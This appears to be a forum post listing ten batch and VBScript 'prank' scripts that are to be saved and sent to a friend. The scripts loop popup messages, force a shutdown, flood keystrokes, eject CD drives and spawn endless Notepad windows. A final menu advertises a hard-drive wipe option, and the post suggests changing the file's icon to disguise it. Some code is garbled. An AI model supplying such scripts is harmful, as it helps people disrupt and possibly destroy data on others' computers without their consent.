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- [hide]1 Notepad Tricks., but Beware!! nJoy n havE fun.....!!!!
- 1.
- Cycle a message in your friend's computer:
- Type :
- @ECHO off
- :Begin
- msg * Hi
- msg * Are you having fun?
- msg * I am!
- msg * Lets have fun together!
- msg * Because you have been o-w-n-e-d
- GOTO BEGIN
- Save it as Anything.BAT and send it.
- 2.
- Convey your friend a lil' message and shut down his / her computer:
- Type :
- wx@echo off
- msg * I don't like you
- shutdown -c Error! You are too stupid! -s
- Save it as Anything.BAT in All Files and send it.
- 3.
- Toggle your friend's Caps Lock button simultaneously:
- Type :
- Set wshShell =wscript.CreateObject("WScript.Shell&quot
- do
- wscript.sleep 100
- wshshell.sendkeys "{CAPSLOCK}"
- loop
- Save it as Anything.VBS and send it.
- 4.
- Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
- Type :
- Set oWMP = CreateObject("WMPlayer.OCX.7&quot
- Set colCDROMs = oWMP.cdromCollection
- do
- if colCDROMs.Count >= 1 then
- For i = 0 to colCDROMs.Count - 1
- colCDROMs.Item(i).Eject
- Next
- For i = 0 to colCDROMs.Count - 1
- colCDROMs.Item(i).Eject
- Next
- End If
- wscript.sleep 5000
- loop
- Save it as "Anything.VBS" and send it.
- 5.
- Frustrate your friend by making this VBScript hit Enter simultaneously:
- Type :
- Set wshShell = wscript.CreateObject("WScript.Shell&quot
- do
- wscript.sleep 100
- wshshell.sendkeys "~(enter)"
- loop
- Save it as "Anything.VBS" and send it.
- 6.
- Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
- Type :
- WScript.Sleep 180000
- WScript.Sleep 10000
- Set WshShell = WScript.CreateObject("WScript.Shell&quot
- WshShell.Run "notepad"
- WScript.Sleep 100
- WshShell.AppActivate "Notepad"
- WScript.Sleep 500
- WshShell.SendKeys "Hel"
- WScript.Sleep 500
- WshShell.SendKeys "lo "
- WScript.Sleep 500
- WshShell.SendKeys ", ho"
- WScript.Sleep 500
- WshShell.SendKeys "w a"
- WScript.Sleep 500
- WshShell.SendKeys "re "
- WScript.Sleep 500
- WshShell.SendKeys "you"
- WScript.Sleep 500
- WshShell.SendKeys "? "
- WScript.Sleep 500
- WshShell.SendKeys "I a"
- WScript.Sleep 500
- WshShell.SendKeys "m g"
- WScript.Sleep 500
- WshShell.SendKeys "ood"
- WScript.Sleep 500
- WshShell.SendKeys " th"
- WScript.Sleep 500
- WshShell.SendKeys "ank"
- WScript.Sleep 500
- WshShell.SendKeys "s! "
- Save it as "Anything.VBS" and send it.
- 7.
- Frustrate your friend by making this VBScript hit Backspace simultaneously:
- Type :
- MsgBox "Let's go back a few steps"
- Set wshShell =wscript.CreateObject("WScript.Shell&quot
- do
- wscript.sleep 100
- wshshell.sendkeys "{bs}"
- loop
- Save it as "Anything.VBS" and send it.
- 8.
- Hack your friend's keyboard and make him type "You are a fool" simultaneously:
- Type :
- Set wshShell = wscript.CreateObject("WScript.Shell&quot
- do
- wscript.sleep 100
- wshshell.sendkeys "You are a fool."
- loop
- Save it as "Anything.VBS" and send it.
- 9.
- Open Notepad continually in your friend's computer:
- Type :
- @ECHO off
- :top
- START %SystemRoot%\system32
- otepad.exe
- GOTO top
- Save it as "Anything.BAT" and send it.
- 10.
- Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:
- 1: Shutdown
- 2: Restart
- 3: Wipes out your hard drive (BEWARE)
- 4: Net send
- 5: Messages then shutdown
- Type :
- @echo off
- title The end of the world
- cd C:\
- :menu
- cls
- echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
- pause
- echo Pick your poison:
- echo 1. Die this way (Wimp)
- echo 2. Die this way (WIMP!)
- echo 3. DO NOT DIE THIS WAY
- echo 4. Die this way (you're boring)
- echo 5. Easy way out
- set input=nothing
- set /p input=Choice:
- if %input%==1 goto one
- if %input%==2 goto two
- Save it as "Anything.BAT" and send it.
- You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.
- juz..be aware of what you are doing. .[/hide]
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